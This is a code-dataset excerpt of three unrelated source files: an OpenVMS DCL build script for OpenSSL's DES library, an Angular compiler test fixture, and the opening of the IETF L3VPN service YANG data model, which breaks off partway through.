$ WRITE SYS$OUTPUT "Building ",EXE_DIR,"RPW.EXE"
$!
$! Compile The RPW Program.
$!
$ CC/OBJECT='OBJ_DIR'RPW.OBJ SYS$DISK:[]RPW.C
$!
$! Link The RPW Program.
$!
$ LINK/'DEBUGGER'/'TRACEBACK'/CONTIGUOUS/EXE='EXE_DIR'RPW.EXE -
'OBJ_DIR'RPW.OBJ,'LIB_NAME'/LIBRARY,'OPT_FILE'/OPTION
$!
$! All Done, Time To Return.
$!
$ RETURN
$!
$! Compile The DES Program.
$!
$ DES:
$!
$! Check To See If We Have The Proper Libraries.
$!
$ GOSUB LIB_CHECK
$!
$! Check To See If We Have A Linker Option File.
$!
$ GOSUB CHECK_OPT_FILE
$!
$! Check To See If The File We Want To Compile Actually Exists.
$!
$ IF (F$SEARCH("SYS$DISK:[]DES.C").EQS."")
$ THEN
$!
$! Tell The User That The File Dosen't Exist.
$!
$ WRITE SYS$OUTPUT ""
$ WRITE SYS$OUTPUT "The File DES.C Dosen't Exist."
$ WRITE SYS$OUTPUT ""
$!
$! Exit The Build.
$!
$ EXIT
$!
$! End The DES.C File Check.
$!
$ ENDIF
$!
$! Tell The User What We Are Building.
$!
$ WRITE SYS$OUTPUT "Building ",EXE_DIR,"DES.EXE"
$!
$! Compile The DES Program.
$!
$ CC/OBJECT='OBJ_DIR'DES.OBJ SYS$DISK:[]DES.C
$ CC/OBJECT='OBJ_DIR'DES.OBJ SYS$DISK:[]CBC3_ENC.C
$!
$! Link The DES Program.
$!
$ LINK/'DEBUGGER'/'TRACEBACK'/CONTIGUOUS/EXE='EXE_DIR'DES.EXE -
'OBJ_DIR'DES.OBJ,'OBJ_DIR'CBC3_ENC.OBJ,-
'LIB_NAME'/LIBRARY,'OPT_FILE'/OPTION
$!
$! All Done, Time To Return.
$!
$ RETURN
$!
$! Compile The DES_OPTS Program.
$!
$ DES_OPTS:
$!
$! Check To See If We Have The Proper Libraries.
$!
$ GOSUB LIB_CHECK
$!
$! Check To See If We Have A Linker Option File.
$!
$ GOSUB CHECK_OPT_FILE
$!
$! Check To See If The File We Want To Compile Actually Exists.
$!
$ IF (F$SEARCH("SYS$DISK:[]DES_OPTS.C").EQS."")
$ THEN
$!
$! Tell The User That The File Dosen't Exist.
$!
$ WRITE SYS$OUTPUT ""
$ WRITE SYS$OUTPUT "The File DES_OPTS.C Dosen't Exist."
$ WRITE SYS$OUTPUT ""
$!
$! Exit The Build.
$!
$ EXIT
$!
$! End The DES_OPTS.C File Check.
$!
$ ENDIF
$!
$! Tell The User What We Are Building.
$!
$ WRITE SYS$OUTPUT "Building ",EXE_DIR,"DES_OPTS.EXE"
$!
$! Compile The DES_OPTS Program.
$!
$ CC/OBJECT='OBJ_DIR'DES_OPTS.OBJ SYS$DISK:[]DES_OPTS.C
$!
$! Link The DES_OPTS Program.
$!
$ LINK/'DEBUGGER'/'TRACEBACK'/CONTIGUOUS/EXE='EXE_DIR'DES_OPTS.EXE -
'OBJ_DIR'DES_OPTS.OBJ,'LIB_NAME'/LIBRARY,'OPT_FILE'/OPTION
$!
$! All Done, Time To Return.
$!
$ RETURN
$ EXIT
$!
$! Check For The Link Option FIle.
$!
$ CHECK_OPT_FILE:
$!
$! Check To See If We Need To Make A VAX C Option File.
$!
$ IF (COMPILER.EQS."VAXC")
$ THEN
$!
$! Check To See If We Already Have A VAX C Linker Option File.
$!
$ IF (F$SEARCH(OPT_FILE).EQS."")
$ THEN
$!
$! We Need A VAX C Linker Option File.
$!
$ CREATE 'OPT_FILE'
$DECK
!
! Default System Options File To Link Agianst
! The Sharable VAX C Runtime Library.
!
SYS$SHARE:VAXCRTL.EXE/SHARE
$EOD
$!
$! End The Option File Check.
$!
$ ENDIF
$!
$! End The VAXC Check.
$!
$ ENDIF
$!
$! Check To See If We Need A GNU C Option File.
$!
$ IF (COMPILER.EQS."GNUC")
$ THEN
$!
$! Check To See If We Already Have A GNU C Linker Option File.
$!
$ IF (F$SEARCH(OPT_FILE).EQS."")
$ THEN
$!
$! We Need A GNU C Linker Option File.
$!
$ CREATE 'OPT_FILE'
$DECK
!
! Default System Options File To Link Agianst
! The Sharable C Runtime Library.
!
GNU_CC:[000000]GCCLIB/LIBRARY
SYS$SHARE:VAXCRTL/SHARE
$EOD
$!
$! End The Option File Check.
$!
$ ENDIF
$!
$! End The GNU C Check.
$!
$ ENDIF
$!
$! Check To See If We Need A DEC C Option File.
$!
$ IF (COMPILER.EQS."DECC")
$ THEN
$!
$! Check To See If We Already Have A DEC C Linker Option File.
$!
$ IF (F$SEARCH(OPT_FILE).EQS."")
$ THEN
$!
$! Figure Out If We Need An non-VAX Or A VAX Linker Option File.
$!
$ IF (F$GETSYI("CPU").LT.128)
$ THEN
$!
$! We Need A DEC C Linker Option File For VAX.
$!
$ CREATE 'OPT_FILE'
$DECK
!
! Default System Options File To Link Agianst
! The Sharable DEC C Runtime Library.
!
SYS$SHARE:DECC$SHR.EXE/SHARE
$EOD
$!
$! Else...
$!
$ ELSE
$!
$! Create The non-VAX Linker Option File.
$!
$ CREATE 'OPT_FILE'
$DECK
!
! Default System Options File For non-VAX To Link Agianst
! The Sharable C Runtime Library.
!
SYS$SHARE:CMA$OPEN_LIB_SHR/SHARE
SYS$SHARE:CMA$OPEN_RTL/SHARE
$EOD
$!
$! End The DEC C Option File Check.
$!
$ ENDIF
$!
$! End The Option File Search.
$!
$ ENDIF
$!
$! End The DEC C Check.
$!
$ ENDIF
$!
$! Tell The User What Linker Option File We Are Using.
$!
$ WRITE SYS$OUTPUT "Using Linker Option File ",OPT_FILE,"."
$!
$! Time To RETURN.
$!
$ RETURN
$!
$! Library Check.
$!
$ LIB_CHECK:
$!
$! Look For The Library LIBDES.OLB.
$!
$ IF (F$SEARCH(LIB_NAME).EQS."")
$ THEN
$!
$! Tell The User We Can't Find The [.xxx.CRYPTO.DES]LIBDES.OLB Library.
$!
$ WRITE SYS$OUTPUT ""
$ WRITE SYS$OUTPUT "Can't Find The Library ",LIB_NAME,"."
$ WRITE SYS$OUTPUT "We Can't Link Without It."
$ WRITE SYS$OUTPUT ""
$!
$! Since We Can't Link Without It, Exit.
$!
$ EXIT
$ ENDIF
$!
$! Time To Return.
$!
$ RETURN
$!
$! Check The User's Options.
$!
$ CHECK_OPTIONS:
$!
$! Check To See If We Are To "Just Build Everything".
$!
$ IF (P1.EQS."ALL")
$ THEN
$!
$! P1 Is "ALL", So Build Everything.
$!
$ BUILDALL = "TRUE"
$!
$! Else...
$!
$ ELSE
$!
$! Else, Check To See If P1 Has A Valid Arguement.
$!
$ IF (P1.EQS."LIBRARY").OR.(P1.EQS."DESTEST").OR.(P1.EQS."SPEED") -
.OR.(P1.EQS."RPW").OR.(P1.EQS."DES").OR.(P1.EQS."DES_OPTS")
$ THEN
$!
$! A Valid Arguement.
$!
$ BUILDALL = P1
$!
$! Else...
$!
$ ELSE
$!
$! Tell The User We Don't Know What They Want.
$!
$ WRITE SYS$OUTPUT ""
$ WRITE SYS$OUTPUT "The Option ",P1," Is Invalid. The Valid Options Are:"
$ WRITE SYS$OUTPUT ""
$ WRITE SYS$OUTPUT " ALL : Just Build Everything.
$ WRITE SYS$OUTPUT " LIBRARY : To Compile Just The [.xxx.EXE.CRYPTO.DES]LIBDES.OLB Library."
$ WRITE SYS$OUTPUT " DESTEST : To Compile Just The [.xxx.EXE.CRYPTO.DES]DESTEST.EXE Program."
$ WRITE SYS$OUTPUT " SPEED : To Compile Just The [.xxx.EXE.CRYPTO.DES]SPEED.EXE Program."
$ WRITE SYS$OUTPUT " RPW : To Compile Just The [.xxx.EXE.CRYPTO.DES]RPW.EXE Program."
$ WRITE SYS$OUTPUT " DES : To Compile Just The [.xxx.EXE.CRYPTO.DES]DES.EXE Program."
$ WRITE SYS$OUTPUT " DES_OPTS : To Compile Just The [.xxx.EXE.CRYTPO.DES]DES_OPTS.EXE Program."
$ WRITE SYS$OUTPUT ""
$ WRITE SYS$OUTPUT " Where 'xxx' Stands For: "
$ WRITE SYS$OUTPUT ""
$ WRITE SYS$OUTPUT " ALPHA : Alpha Architecture."
$ WRITE SYS$OUTPUT " IA64 : IA64 Architecture."
$ WRITE SYS$OUTPUT " VAX : VAX Architecture."
$ WRITE SYS$OUTPUT ""
$!
$! Time To EXIT.
$!
$ EXIT
$!
$! End The Valid Arguement Check.
$!
$ ENDIF
$!
$! End The P1 Check.
$!
$ ENDIF
$!
$! Check To See If We Are To Compile Without Debugger Information.
$!
$ IF (P2.EQS."NODEBUG")
$ THEN
$!
$! P2 Is Blank, So Compile Without Debugger Information.
$!
$ DEBUGGER = "NODEBUG"
$ TRACEBACK = "NOTRACEBACK"
$ GCC_OPTIMIZE = "OPTIMIZE"
$ CC_OPTIMIZE = "OPTIMIZE"
$ WRITE SYS$OUTPUT "No Debugger Information Will Be Produced During Compile."
$ WRITE SYS$OUTPUT "Compiling With Compiler Optimization."
$!
$! Else...
$!
$ ELSE
$!
$! Check To See If We Are To Compile With Debugger Information.
$!
$ IF (P2.EQS."DEBUG")
$ THEN
$!
$! Compile With Debugger Information.
$!
$ DEBUGGER = "DEBUG"
$ TRACEBACK = "TRACEBACK"
$ GCC_OPTIMIZE = "NOOPTIMIZE"
$ CC_OPTIMIZE = "NOOPTIMIZE"
$ WRITE SYS$OUTPUT "Debugger Information Will Be Produced During Compile."
$ WRITE SYS$OUTPUT "Compiling Without Compiler Optimization."
$!
$! Else...
$!
$ ELSE
$!
$! Tell The User Entered An Invalid Option..
$!
$ WRITE SYS$OUTPUT ""
$ WRITE SYS$OUTPUT "The Option ",P2," Is Invalid. The Valid Options Are:"
$ WRITE SYS$OUTPUT ""
$ WRITE SYS$OUTPUT " DEBUG : Compile With The Debugger Information."
$ WRITE SYS$OUTPUT " NODEBUG : Compile Without The Debugger Information."
$ WRITE SYS$OUTPUT ""
$!
$! Time To EXIT.
$!
$ EXIT
$!
$! End The Valid Arguement Check.
$!
$ ENDIF
$!
$! End The P2 Check.
$!
$ ENDIF
$!
$! Special Threads For OpenVMS v7.1 Or Later.
$!
$! Written By: Richard Levitte
$! richard@levitte.org
$!
$!
$! Check To See If We Have A Option For P4.
$!
$ IF (P4.EQS."")
$ THEN
$!
$! Get The Version Of VMS We Are Using.
$!
$ ISSEVEN := ""
$ TMP = F$ELEMENT(0,"-",F$EXTRACT(1,4,F$GETSYI("VERSION")))
$ TMP = F$INTEGER(F$ELEMENT(0,".",TMP)+F$ELEMENT(1,".",TMP))
$!
$! Check To See If The VMS Version Is v7.1 Or Later.
$!
$ IF (TMP.GE.71)
$ THEN
$!
$! We Have OpenVMS v7.1 Or Later, So Use The Special Threads.
$!
$ ISSEVEN := ,PTHREAD_USE_D4
$!
$! End The VMS Version Check.
$!
$ ENDIF
$!
$! End The P4 Check.
$!
$ ENDIF
$!
$! Check To See If P3 Is Blank.
$!
$ IF (P3.EQS."")
$ THEN
$!
$! O.K., The User Didn't Specify A Compiler, Let's Try To
$! Find Out Which One To Use.
$!
$! Check To See If We Have GNU C.
$!
$ IF (F$TRNLNM("GNU_CC").NES."")
$ THEN
$!
$! Looks Like GNUC, Set To Use GNUC.
$!
$ P3 = "GNUC"
$!
$! Else...
$!
$ ELSE
$!
$! Check To See If We Have VAXC Or DECC.
$!
$ IF (ARCH.NES."VAX").OR.(F$TRNLNM("DECC$CC_DEFAULT").NES."")
$ THEN
$!
$! Looks Like DECC, Set To Use DECC.
$!
$ P3 = "DECC"
$!
$! Else...
$!
$ ELSE
$!
$! Looks Like VAXC, Set To Use VAXC.
$!
$ P3 = "VAXC"
$!
$! End The VAXC Compiler Check.
$!
$ ENDIF
$!
$! End The DECC & VAXC Compiler Check.
$!
$ ENDIF
$!
$! End The Compiler Check.
$!
$ ENDIF
$!
$! Set Up Initial CC Definitions, Possibly With User Ones
$!
$ CCDEFS = ""
$ IF F$TYPE(USER_CCDEFS) .NES. "" THEN CCDEFS = USER_CCDEFS
$ CCEXTRAFLAGS = ""
$ IF F$TYPE(USER_CCFLAGS) .NES. "" THEN CCEXTRAFLAGS = USER_CCFLAGS
$ CCDISABLEWARNINGS = ""
$ IF F$TYPE(USER_CCDISABLEWARNINGS) .NES. "" THEN -
CCDISABLEWARNINGS = USER_CCDISABLEWARNINGS
$!
$! Check To See If The User Entered A Valid Paramter.
$!
$ IF (P3.EQS."VAXC").OR.(P3.EQS."DECC").OR.(P3.EQS."GNUC")
$ THEN
$!
$! Check To See If The User Wanted DECC.
$!
$ IF (P3.EQS."DECC")
$ THEN
$!
$! Looks Like DECC, Set To Use DECC.
$!
$ COMPILER = "DECC"
$!
$! Tell The User We Are Using DECC.
$!
$ WRITE SYS$OUTPUT "Using DECC 'C' Compiler."
$!
$! Use DECC...
$!
$ CC = "CC"
$ IF ARCH.EQS."VAX" .AND. F$TRNLNM("DECC$CC_DEFAULT").NES."/DECC" -
THEN CC = "CC/DECC"
$ CC = CC + "/''CC_OPTIMIZE'/''DEBUGGER'/STANDARD=ANSI89" + -
"/NOLIST/PREFIX=ALL" + CCEXTRAFLAGS
$!
$! Define The Linker Options File Name.
$!
$ OPT_FILE = "''EXE_DIR'VAX_DECC_OPTIONS.OPT"
$!
$! End DECC Check.
$!
$ ENDIF
$!
$! Check To See If We Are To Use VAXC.
$!
$ IF (P3.EQS."VAXC")
$ THEN
$!
$! Looks Like VAXC, Set To Use VAXC.
$!
$ COMPILER = "VAXC"
$!
$! Tell The User We Are Using VAX C.
$!
$ WRITE SYS$OUTPUT "Using VAXC 'C' Compiler."
$!
$! Compile Using VAXC.
$!
$ CC = "CC"
$ IF ARCH.NES."VAX"
$ THEN
$ WRITE SYS$OUTPUT "There is no VAX C on ''ARCH'!"
$ EXIT
$ ENDIF
$ IF F$TRNLNM("DECC$CC_DEFAULT").EQS."/DECC" THEN CC = "CC/VAXC"
$ CC = CC + "/''CC_OPTIMIZE'/''DEBUGGER'/NOLIST" + CCEXTRAFLAGS
$ CCDEFS = """VAXC""," + CCDEFS
$!
$! Define <sys> As SYS$COMMON:[SYSLIB]
$!
$ DEFINE/NOLOG SYS SYS$COMMON:[SYSLIB]
$!
$! Define The Linker Options File Name.
$!
$ OPT_FILE = "''EXE_DIR'VAX_VAXC_OPTIONS.OPT"
$!
$! End VAXC Check
$!
$ ENDIF
$!
$! Check To See If We Are To Use GNU C.
$!
$ IF (P3.EQS."GNUC")
$ THEN
$!
$! Looks Like GNUC, Set To Use GNUC.
$!
$ COMPILER = "GNUC"
$!
$! Tell The User We Are Using GNUC.
$!
$ WRITE SYS$OUTPUT "Using GNU 'C' Compiler."
$!
$! Use GNU C...
$!
$ CC = "GCC/NOCASE_HACK/''GCC_OPTIMIZE'/''DEBUGGER'/NOLIST" + CCEXTRAFLAGS
$!
$! Define The Linker Options File Name.
$!
$ OPT_FILE = "''EXE_DIR'VAX_GNUC_OPTIONS.OPT"
$!
$! End The GNU C Check.
$!
$ ENDIF
$!
$! Set up default defines
$!
$ CCDEFS = """FLAT_INC=1""," + CCDEFS
$!
$! Finish up the definition of CC.
$!
$ IF COMPILER .EQS. "DECC"
$ THEN
$ IF CCDISABLEWARNINGS .EQS. ""
$ THEN
$ CC4DISABLEWARNINGS = "DOLLARID"
$ ELSE
$ CC4DISABLEWARNINGS = CCDISABLEWARNINGS + ",DOLLARID"
$ CCDISABLEWARNINGS = "/WARNING=(DISABLE=(" + CCDISABLEWARNINGS + "))"
$ ENDIF
$ CC4DISABLEWARNINGS = "/WARNING=(DISABLE=(" + CC4DISABLEWARNINGS + "))"
$ ELSE
$ CCDISABLEWARNINGS = ""
$ CC4DISABLEWARNINGS = ""
$ ENDIF
$ CC = CC + "/DEFINE=(" + CCDEFS + ")" + CCDISABLEWARNINGS
$!
$! Show user the result
$!
$ WRITE SYS$OUTPUT "Main Compiling Command: ",CC
$!
$! Else The User Entered An Invalid Arguement.
$!
$ ELSE
$!
$! Tell The User We Don't Know What They Want.
$!
$ WRITE SYS$OUTPUT ""
$ WRITE SYS$OUTPUT "The Option ",P3," Is Invalid. The Valid Options Are:"
$ WRITE SYS$OUTPUT ""
$ WRITE SYS$OUTPUT " VAXC : To Compile With VAX C."
$ WRITE SYS$OUTPUT " DECC : To Compile With DEC C."
$ WRITE SYS$OUTPUT " GNUC : To Compile With GNU C."
$ WRITE SYS$OUTPUT ""
$!
$! Time To EXIT.
$!
$ EXIT
$!
$! End The P3 Check.
$!
$ ENDIF
$!
$! Time To RETURN...
$!
$ RETURN
| DIGITAL Command Language | 4 | vlinhd11/vlinhd11-android-scripting | python-build/openssl/crypto/des/des-lib.com | [
"Apache-2.0"
] |
function MyComponent_ng_template_0_Template(rf, ctx) {
if (rf & 1) {
$i0$.ɵɵtext(0, "some-content");
}
}
…
consts: [["foo", ""]],
template: function MyComponent_Template(rf, ctx) {
if (rf & 1) {
$i0$.ɵɵtemplate(0, MyComponent_ng_template_0_Template, 1, 0, "ng-template", null, 0, $i0$.ɵɵtemplateRefExtractor);
}
}
| JavaScript | 3 | John-Cassidy/angular | packages/compiler-cli/test/compliance/test_cases/r3_view_compiler_template/ng_template_local_ref_template.js | [
"MIT"
] |
module ietf-l3vpn-svc {
namespace "urn:ietf:params:xml:ns:yang:ietf-l3vpn-svc";
prefix l3vpn-svc;
import ietf-inet-types {
prefix inet;
}
import ietf-yang-types {
prefix yang;
}
organization
"IETF L3SM Working Group";
contact
"WG List: <mailto:l3sm@ietf.org>
Editor:
";
description
"The YANG module defines a generic service configuration
model for Layer 3 VPN common across all of the vendor
implementations.";
revision 2016-07-30 {
description
"Eliminated warnings";
reference
"draft-ietf-l3sm-l3vpn-service-yang-11";
}
revision 2016-07-05 {
description
"Draft text update";
reference
"draft-ietf-l3sm-l3vpn-service-yang-11";
}
revision 2016-06-27 {
description
"
* Removed templates
* Add site-network-access-type
* Add a leaf number-of-dynamic-address in case
of pe-dhcp addressing;
";
reference "draft-ietf-l3sm-l3vpn-service-yang-10";
}
revision 2016-06-10 {
description
"Add site-vpn-flavor NNI";
reference "draft-ietf-l3sm-l3vpn-service-yang-09";
}
revision 2016-06-09 {
description
"Traffic protection moved to site level.
Decouple operational-requirements in two containers.
";
reference "draft-ietf-l3sm-l3vpn-service-yang-08";
}
revision 2016-06-06 {
description
"Set config false to actual-site-start and stop
Add a container before cloud-access list
Add a container before authorized-sites list
Add a container before denied-sites list
Modified access-diversity modeling
Replacing type placement diversity by an identity";
reference "draft-ietf-l3sm-l3vpn-service-yang-07";
}
revision 2016-04-19 {
description
"* remove reference to core routing model :
created new address family identities
* added features
* Modified bearer parameters
* Modified union for ipv4/ipv6 addresses to ip-address
type
* Add BSR parameters for multicast
* Add applications matching for QoS classification
";
reference "draft-ietf-l3sm-l3vpn-service-yang-06";
}
revision 2016-04-05 {
description
"
* Added linecard diverse for site diversity
* Added a new diversity enum in placement-diversity : none
* Added state to site location
";
reference "";
}
revision 2016-03-11 {
description
"
* Modify VPN policy and creating a vpn-policy-list
* Add VPN policy reference and VPN ID reference
under site-network-access
";
reference "draft-ietf-l3sm-l3vpn-service-yang-05";
}
revision 2016-01-04 {
description
"
* Add extranet-vpn container in vpn-svc
* Creating top level containers
* Refine groupings
* Added site-vpn-flavor
";
reference "draft-ietf-l3sm-l3vpn-service-yang-03";
}
revision 2016-01-04 {
description
"
* qos-profile moved to choice
* vpn leaf moved to vpn-id in vpn-policy
* added ordered-by user to qos classification list
* moved traffic protection to access availability
* creating a choice in matching filter for VPN policy
* added dot1p matching field in flow-definition
";
reference "";
}
revision 2015-12-07 {
description
"
* A site is now a collection of site-accesses.
This was introduced to support M to N availability.
* Site-availability has been removed, replaced by
availability parameters under site-accesses
* Added transport-constraints within vpn-svc
";
reference "draft-ietf-l3sm-l3vpn-service-yang-02";
}
revision 2015-11-03 {
description "
* Add ToS support in match-flow
* nexthop in cascaded lan as mandatory
* customer-specific-info deleted and moved to routing
protocols
* customer-lan-connection modified : need prefix and CE address
* add choice in managing PE-CE addressing
* Simplifying traffic protection
";
reference "";
}
revision 2015-09-10 {
description "
* Refine groupings for vpn-svc
* Removed name in vpn-svc
* id in vpn-svc moved to string
* Rename id in vpn-svc to vpn-id
* Changed key of vpn-svc list to vpn-id
* Add DSCP support in flow definition
";
reference "";
}
revision 2015-08-07 {
description
"
Multicast :
* Removed ACL from security
* Add FW for site and cloud access
";
reference "";
}
revision 2015-08-05 {
description
"
Multicast :
* Removed anycast-rp identity as discovery mechanism
* Added rp-group mappings for multicast
* Added flag for provider managed RP.
";
reference "";
}
revision 2015-08-03 {
description
" * Creating multiple reusable groupings
* Added mpls leaf in vpn-svc for carrier's carrier case
* Modify identity single to single-site
* Modify site-type to site-role and also child identities.
* Creating OAM container under site and moved BFD in.
* Creating flow-definition grouping to be reused
in ACL, QoS ...
* Simplified VPN policy.
* Adding multicast static group to RP mappings.
* Removed native-vpn and site-role from global site
cfg, now managed within the VPN policy.
* Creating a separate list for site templates.
";
reference "draft-ietf-l3sm-l3vpn-service-yang-01";
}
revision 2015-07-02 {
reference "draft-ietf-l3sm-l3vpn-service-yang-00";
}
revision 2015-04-24 {
description "
* Add encryption parameters
* Adding holdtime for BFD.
* Add postal address in location
";
reference "draft-lstd-l3sm-l3vpn-service-yang-00";
}
revision 2015-02-05 {
description "Initial revision.";
reference "draft-l3vpn-service-yang-00";
}
/* Features */
feature cloud-access {
description
"Allow VPN to connect to a Cloud Service
provider.";
}
feature multicast {
description
"Enables multicast capabilities in a VPN";
}
feature ipv4 {
description
"Enables IPv4 support in a VPN";
}
feature ipv6 {
description
"Enables IPv6 support in a VPN";
}
feature carrierscarrier {
description
"Enables support of carrier's carrier";
}
feature traffic-engineering {
description
"Enables support of transport constraint.";
}
feature traffic-engineering-multicast {
description
"Enables support of transport constraint
for multicast.";
}
feature extranet-vpn {
description
"Enables support of extranet VPNs";
}
feature site-diversity {
description
"Enables support of site diversity constraints";
}
feature encryption {
description
"Enables support of encryption";
}
feature qos {
description
"Enables support of Class of Services";
}
feature qos-custom {
description
"Enables support of custom qos profile";
}
feature rtg-bgp {
description
"Enables support of BGP routing protocol.";
}
feature rtg-rip {
description
"Enables support of RIP routing protocol.";
}
feature rtg-ospf {
description
"Enables support of OSPF routing protocol.";
}
feature rtg-ospf-sham-link {
description
"Enables support of OSPF sham-links.";
}
feature rtg-vrrp {
description
"Enables support of VRRP routing protocol.";
}
feature fast-reroute {
description
"Enables support of Fast Reroute.";
}
feature bfd {
description
"Enables support of BFD.";
}
feature always-on {
description
"Enables support for always-on access
constraint.";
}
feature requested-type {
description
"Enables support for requested-type access
constraint.";
}
feature bearer-reference {
description
"Enables support for bearer-reference access
constraint.";
}
/* Typedefs */
typedef svc-id {
type string;
description
"Defining a type of service component
identificators.";
}
typedef template-id {
type string;
description
"Defining a type of service template
identificators.";
}
/* Identities */
identity site-network-access-type {
description
"Base identity for site-network-access type";
}
identity point-to-point {
base site-network-access-type;
description
"Identity for point-to-point connection";
}
identity multipoint {
base site-network-access-type;
description
"Identity for multipoint connection
Example : ethernet broadcast segment";
}
identity placement-diversity {
description
"Base identity for site placement
constraints";
}
identity pe-diverse {
base placement-diversity;
description
"Identity for PE diversity";
}
identity pop-diverse {
base placement-diversity;
description
"Identity for POP diversity";
}
identity linecard-diverse {
base placement-diversity;
description
"Identity for linecard diversity";
}
identity same-pe {
base placement-diversity;
description
"Identity for having sites connected
on the same PE";
}
identity same-bearer {
base placement-diversity;
description
"Identity for having sites connected
using the same bearer";
}
identity customer-application {
description
"Base identity for customer application";
}
identity web {
base customer-application;
description
"Identity for web application (e.g. HTTP,HTTPS)";
}
identity mail {
base customer-application;
description
"Identity for mail applications";
}
identity file-transfer {
base customer-application;
description
"Identity for file transfer applications (
e.g. FTP, SFTP, ...)";
}
identity database {
base customer-application;
description
"Identity for database applications";
}
identity social {
base customer-application;
description
"Identity for social network applications";
}
identity games {
base customer-application;
description
"Identity for gaming applications";
}
identity p2p {
base customer-application;
description
"Identity for peer to peer applications";
}
identity network-management {
base customer-application;
description
"Identity for management applications (e.g. telnet
syslog, snmp ...)";
}
identity voice {
base customer-application;
description
"Identity for voice applications";
}
identity video {
base customer-application;
description
"Identity for video conference applications";
}
identity address-family {
description
"Base identity for an address family.";
}
identity ipv4 {
base address-family;
description
"Identity for IPv4 address family.";
}
identity ipv6 {
base address-family;
description
"Identity for IPv6 address family.";
}
identity site-vpn-flavor {
description
"Base identity for the site VPN service flavor.";
}
identity site-vpn-flavor-single {
base site-vpn-flavor;
description
"Base identity for the site VPN service flavor.
Used when the site belongs to only one VPN.";
}
identity site-vpn-flavor-multi {
base site-vpn-flavor;
description
"Base identity for the site VPN service flavor.
Used when a logical connection of a site
belongs to multiple VPNs.";
}
identity site-vpn-flavor-sub {
base site-vpn-flavor;
description
"Base identity for the site VPN service flavor.
Used when a site has multiple logical connections.
Each of the connection may belong to different
multiple VPNs.";
}
identity site-vpn-flavor-nni {
base site-vpn-flavor;
description
"Base identity for the site VPN service flavor.
Used to describe a NNI option A connection.";
}
identity transport-constraint {
description
"Base identity for transport constraint.";
}
identity tc-latency {
base transport-constraint;
description
"Base identity for transport constraint
based on latency.";
}
identity tc-jitter {
base transport-constraint;
description
"Base identity for transport constraint
based on jitter.";
}
identity tc-bandwidth {
base transport-constraint;
description
"Base identity for transport constraint
based on bandwidth.";
}
identity tc-path-diversity {
base transport-constraint;
description
"Base identity for transport constraint
based on path diversity.";
}
identity tc-site-diversity {
base transport-constraint;
description
"Base identity for transport constraint
based on site diversity.";
}
identity management {
description
"Base identity for site management scheme.";
}
identity co-managed {
base management;
description
"Base identity for comanaged site.";
}
identity customer-managed {
base management;
description
"Base identity for customer managed site.";
}
identity provider-managed {
base management;
description
"Base identity for provider managed site.";
}
identity address-allocation-type {
description
"Base identity for address-allocation-type
for PE-CE link.";
}
identity pe-dhcp {
base address-allocation-type;
description
"PE router provides DHCP service to CE.";
}
identity static-address {
base address-allocation-type;
description
"PE-CE addressing is static.";
}
identity slaac {
base address-allocation-type;
description
"Use IPv6 SLAAC.";
}
identity site-role {
description
"Base identity for site type.";
}
identity any-to-any-role {
base site-role;
description
"Site in a any to any IPVPN.";
}
identity spoke-role {
base site-role;
description
"Spoke Site in a Hub & Spoke IPVPN.";
}
identity hub-role {
base site-role;
description
"Hub Site in a Hub & Spoke IPVPN.";
}
identity vpn-topology {
description
"Base identity for VPN topology.";
}
identity any-to-any {
base vpn-topology;
description
"Identity for any to any VPN topology.";
}
identity hub-spoke {
base vpn-topology;
description
"Identity for Hub'n'Spoke VPN topology.";
}
identity hub-spoke-disjoint {
base vpn-topology;
description
"Identity for Hub'n'Spoke VPN topology
where Hubs cannot talk between each other.";
}
identity multicast-tree-type {
description
"Base identity for multicast tree type.";
}
identity ssm-tree-type {
base multicast-tree-type;
description
"Identity for SSM tree type.";
}
identity asm-tree-type {
base multicast-tree-type;
description
"Identity for ASM tree type.";
}
identity bidir-tree-type {
base multicast-tree-type;
description
"Identity for BiDir tree type.";
}
identity multicast-rp-discovery-type {
description
"Base identity for rp discovery type.";
}
identity auto-rp {
base multicast-rp-discovery-type;
description
"Base identity for auto-rp discovery type.";
}
identity static-rp {
base multicast-rp-discovery-type;
description
"Base identity for static type.";
}
identity bsr-rp {
base multicast-rp-discovery-type;
description
"Base identity for BDR discovery type.";
}
identity routing-protocol-type {
description
"Base identity for routing-protocol type.";
}
identity ospf {
base routing-protocol-type;
description
"Identity for OSPF protocol type.";
}
identity bgp {
base routing-protocol-type;
description
"Identity for BGP protocol type.";
}
identity static {
base routing-protocol-type;
description
"Identity for static routing protocol type.";
}
identity rip {
base routing-protocol-type;
description
"Identity for RIP protocol type.";
}
identity rip-ng {
base routing-protocol-type;
description
"Identity for RIPng protocol type.";
}
identity vrrp {
base routing-protocol-type;
description
"Identity for VRRP protocol type.
This is to be used when LAn are directly connected
to provider Edge routers.";
}
identity direct {
base routing-protocol-type;
description
"Identity for direct protocol type.
.";
}
identity protocol-type {
description
"Base identity for protocol field type.";
}
identity tcp {
base protocol-type;
description
"TCP protocol type.";
}
identity udp {
base protocol-type;
description
"UDP protocol type.";
}
identity icmp {
base protocol-type;
description
"icmp protocol type.";
}
identity icmp6 {
base protocol-type;
description
"icmp v6 protocol type.";
}
identity gre {
base protocol-type;
description
"GRE protocol type.";
}
identity ipip {
base protocol-type;
description
"IPinIP protocol type.";
}
identity hop-by-hop {
base protocol-type;
description
"Hop by Hop IPv6 header type.";
}
identity routing {
base protocol-type;
description
"Routing IPv6 header type.";
}
identity esp {
base protocol-type;
description
"ESP header type.";
}
identity ah {
base protocol-type;
description
"AH header type.";
}
/* Groupings */
grouping vpn-service-cloud-access {
container cloud-accesses {
list cloud-access {
if-feature cloud-access;
key cloud-identifier;
leaf cloud-identifier {
type string;
description
"Identification of cloud service. Local
admin meaning.";
}
container authorized-sites {
list authorized-site {
key site-id;
leaf site-id {
type leafref {
path "/l3vpn-svc/sites/site/site-id";
}
description
"Site ID.";
}
description
"List of authorized sites.";
}
description
"Configuration of authorized sites";
}
container denied-sites {
list denied-site {
key site-id;
leaf site-id {
type leafref {
path "/l3vpn-svc/sites/site/site-id";
}
description
"Site ID.";
}
description
"List of denied sites.";
}
description
"Configuration of denied sites";
}
leaf nat-enabled {
type boolean;
description
"Control if NAT is required or not.";
}
leaf customer-nat-address {
type inet:ipv4-address;
description
"NAT address to be used in case of public
or shared cloud.
This is to be used in case customer is providing
the public address.";
}
description
"Cloud access configuration.";
}
description
"Container for cloud access configurations";
}
description
"grouping for vpn cloud definition";
}
grouping multicast-rp-group-cfg {
choice group-format {
case startend {
leaf group-start {
type inet:ip-address;
description
"First group address.";
}
leaf group-end {
type inet:ip-address;
description
"Last group address.";
}
}
case singleaddress {
leaf group-address {
type inet:ip-address;
description
